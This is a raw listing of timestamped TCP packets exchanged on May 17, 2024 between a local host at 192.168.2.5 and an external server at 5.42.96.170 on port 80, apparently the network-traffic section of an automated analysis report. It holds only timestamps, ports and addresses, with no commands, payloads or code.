May 17, 2024 23:45:15.732124090 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.732124090 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.732152939 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.732975960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.732985020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.732992887 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733002901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733011961 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733022928 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733032942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733042955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733053923 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733091116 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.733091116 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.733091116 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.733091116 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.733809948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733819962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733829021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733838081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733848095 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733858109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733867884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733877897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733887911 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733899117 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.733927965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.733927965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.733927965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.733927965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.733927965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.734755993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.734766006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.734775066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.734780073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.734787941 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.734798908 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.734807968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.734818935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.734828949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.734839916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.734854937 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.734854937 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.734854937 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.734854937 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.735114098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.735590935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.735600948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.735609055 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.735789061 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.735789061 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.736027956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.736037970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.736047029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.736052036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.736061096 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.736072063 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.736082077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.736092091 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.736107111 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.736118078 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.736118078 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.736118078 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.736133099 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.736144066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.736155987 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.736336946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.737087965 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.737097979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.737106085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.737111092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.737118959 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.737128973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.737138987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.737149954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.737159967 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.737170935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.737202883 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.737202883 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.737202883 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.737202883 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.737241030 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.738617897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.738641024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.738652945 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.738665104 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.738681078 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.738689899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.738701105 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.738709927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.738723040 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.738723040 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.738740921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.738750935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.738763094 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.738763094 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.738771915 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.738781929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.738791943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.738822937 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.738822937 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.738822937 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.738922119 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.739126921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.739161015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.739207029 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.744154930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.744164944 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.744762897 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.790652990 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.790714979 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.883730888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.883753061 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.883791924 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.883819103 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.883960009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.884381056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.884391069 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.884428978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.884480953 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.884480953 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.884480953 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.884501934 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.884629011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.884639978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.884776115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.884785891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.884794950 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.884854078 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.884854078 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.884854078 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.885107040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.885118008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.885127068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.885176897 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.885176897 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.885437012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.885447025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.885454893 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.885463953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.885488987 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.885504007 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.885767937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.885777950 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.885786057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.885796070 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.885811090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.885822058 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.885831118 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.885842085 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.885842085 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.885848045 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.885895014 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.885895014 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.886459112 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.886470079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.886477947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.886487007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.886531115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.886531115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.887801886 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.887811899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.887820005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.887849092 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.887871981 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.887984991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888000011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888009071 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888012886 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888021946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888031960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888041019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888051987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888061047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888071060 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.888071060 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.888071060 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.888089895 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.888091087 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.888104916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888118029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888125896 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888137102 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.888155937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888165951 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888171911 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.888180017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888187885 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888199091 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888212919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888228893 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.888235092 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.888236046 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.888246059 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.888714075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888725042 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888734102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888744116 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.888770103 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.888770103 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.888794899 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.889199972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.889210939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.889216900 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.889225960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.889235020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.889250994 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.889260054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.889270067 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.889281034 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.889288902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.889288902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.889288902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.889288902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.889301062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.889311075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.889630079 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.889630079 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.889630079 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.890221119 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.890230894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.890239000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.890248060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.890256882 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.890266895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.890276909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.890285969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.890296936 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.890305996 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.890316010 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.890316010 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.890316010 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.890316010 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.890333891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.890357018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.890357018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.890548944 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.891144991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891154051 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891163111 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891171932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891181946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891191959 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891200066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.891200066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.891208887 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891218901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891227961 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891237020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891267061 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.891267061 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.891267061 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.891268015 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.891278982 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.891835928 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891846895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891855955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891865015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891875982 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891885996 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891892910 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.891910076 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.891910076 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.891920090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891930103 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891937017 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.891946077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891954899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891964912 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.891973972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.892000914 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.892000914 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.892000914 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.892024994 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.892980099 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.892990112 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.892998934 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893008947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893018007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893027067 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893037081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893047094 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893055916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893069983 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.893069983 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.893069983 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.893069983 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.893115044 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.893430948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893440008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893449068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893459082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893469095 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893477917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893487930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893498898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893508911 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893518925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893529892 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.893529892 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.893529892 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.893529892 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.893537998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893548012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.893577099 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.893577099 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.893577099 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.894256115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.894264936 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.894273043 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.894282103 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.894292116 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.894303083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.894311905 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.894320965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.894320965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.894337893 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.894347906 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.894355059 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.894355059 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.894365072 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.894375086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.894382954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.894418001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.894418001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.894418001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.894418001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.895303011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.895312071 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.895320892 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.895325899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.895334005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.895344019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.895355940 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.895360947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.895370007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.895379066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.895389080 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.895399094 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.895410061 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.895410061 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.895410061 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.895428896 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.895437002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.895441055 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.895447969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.895497084 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.896234035 CEST	80	49707	5.42.96.170	192.168.2.5
